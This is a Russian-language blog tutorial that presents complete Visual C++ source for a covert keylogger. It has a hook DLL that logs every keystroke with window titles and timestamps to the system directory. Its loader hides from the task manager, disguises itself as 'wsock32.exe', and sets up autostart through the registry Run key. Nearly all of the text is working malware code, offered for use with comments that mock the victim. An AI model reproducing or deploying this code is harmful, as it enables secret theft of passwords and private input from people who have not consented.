Пример кейлоггера на Visual C++

Кейлоггер клавиатурных шпион

Сейчас мы будем писать кейлоггер на Visual C++. В данном примере будут использоваться апшные функции, так что, можно переписать на Delphi, если кому-то захочется, то можно и на Асме:). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой программы исполнительного файла(exe).

Еще по теме: Кейлоггер на C#

И так, вот исходники дополнительной dll ks.dll:

#include "stdafx.h"#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = «ks.txt»;//название лог-файла
char FullLogFile[256] = «»;
char BufStr0[19] = «»;
char BufStr1[200] = «»;
char BufStr2[256] = «»;
char OldAct[1024] = «»;
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return ActW;
};
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
GetSystemDirectory(FullLogFile,256);
strcat(FullLogFile,»\\»);
strcat(FullLogFile,LogFileName);
LogFile = _lopen(FullLogFile,OF_WRITE);
if (LogFile == 4294967295)
{
LogFile = _lcreat(FullLogFile,4);
};
_lclose(LogFile);
hmod = hModule;
return TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && !(lParam & 0x80000000))
{
//если нажата клавиша, то
GetKeyNameText(lParam,BufStr0,19);
//если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
char *Active = ActWin();
if (strcmp(OldAct,Active) !=0)
{
strcpy(BufStr1,»\nActive Window(TITLE) «);
strcat(BufStr1,Active);
strcat(BufStr1,»\n»);
//вместе с датой и временем
char DateStr0[256] = «dd.MM.yyyy»;
char TimeStr1[256] = «hh : mm : ss»;
char DateStr1[256] = «»;
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,»[«);
strcat(BufStr1,DateStr1);
strcat(BufStr1,»] «);
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1,» «);
strcat(BufStr1,DateStr1);
strcat(BufStr1,» \n»);
strcat(BufStr1,»—————————————————\n»);
strcpy(OldAct,Active);
};
//пишем название нажатой клавиши
strcpy(BufStr2,» «);
strcat(BufStr1,BufStr2);
strcat(BufStr1,BufStr0);
LogFile = _lopen(FullLogFile,OF_WRITE);
_llseek(LogFile,0,FILE_END);
_lwrite(LogFile,BufStr1,lstrlen(BufStr1));
_lclose(LogFile);
strcpy(BufStr1,»»);
};
return CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook = SetWindowsHookEx(WH_KEYBOARD,
HksKeyProc,
(HINSTANCE)hmod,
NULL);

};
//процедура для закрытия хука
void HksClose()
{
UnhookWindowsHookEx(khook);
};
Теперь нужно написать ks.h:
#ifndef KS_H
#define KS_H

#include
#include

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//—————————————————————————
extern «C» {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//—————————————————————————

#endif
Теперь создаем еще один проэкт для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).
Вот листинг hks.cpp:

#include «stdafx.h»
#include «ks.h»
char szClassName[256] = «hKs10»;
char szAppName[256] = «hKsv10»;
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
//проца для прятания от Ctrl+Alt+Del
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle(«kernel32.dll»);
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, «RegisterServiceProcess»);
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//прячем от 3x клавиш
if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
RSP(NULL,1);
//копируем ex-шник и дополнительную dll в %winsysdir%
char szValue [256] = «wsock32.exe»;
HKEY pKey;
//прописываемся в автостарте
RegCreateKey(HKEY_LOCAL_MACHINE,»Software\\Microsoft\\Windows\\CurrentVersion\\Run»,&pKey);
RegSetValueEx(pKey,»wsock32″,NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
char WinDir[256] = «»;
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,»\\»);
strcat(WinDir,szValue);
LPSTR lpFile = new TCHAR[256];
GetModuleFileName(NULL,lpFile,200);

CopyFile(lpFile,WinDir,FALSE);
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,»\\ks.dll»);
CopyFile(«ks.dll»,WinDir,FALSE);
//пишем дату записи в файл
char BufStr1[6666] = «»;
char DateStr0[256] = «dd.MM.yyyy»;
char TimeStr1[256] = «hh : mm : ss»;
char DateStr1[256] = «»;
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcpy(BufStr1,»\n—————————————————\n»);
strcat(BufStr1,» Write to file: [«);
strcat(BufStr1,DateStr1);
strcat(BufStr1,»] «);
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1,» «);
strcat(BufStr1,DateStr1);
strcat(BufStr1,»\n»);

char LogFile[256]= «»;
GetSystemDirectory(LogFile,256);
strcat(LogFile,»\\ks.txt»);
HFILE Log1 = _lopen(LogFile,OF_WRITE);
_lwrite(Log1,BufStr1,lstrlen(BufStr1));
_lclose(Log1);

HksInit();

HWND hwnd;
MSG msg;
WNDCLASS wc;
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.lpszClassName = szClassName;
wc.lpszMenuName = NULL;
wc.hInstance = hInstance;
wc.hCursor = LoadCursor(NULL,IDC_ARROW);
wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

RegisterClass(&wc);

hwnd = CreateWindow(szClassName,
szAppName,
WS_OVERLAPPEDWINDOW,
2,
10,
70,
100,
NULL,
NULL,
hInstance,
NULL);

ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
//обрабатываем сообщения
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
switch (iMsg)
{
case WM_CREATE:return 1;break;
case WM_DESTROY:
HksClose();
PostQuitMessage(1);
break;
};

return DefWindowProc(hwnd,iMsg,wParam,lParam);
};

Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.

Ленко

Kомпьютерный энтузиаст и практикующий ИТ-специалист.

Добавить комментарий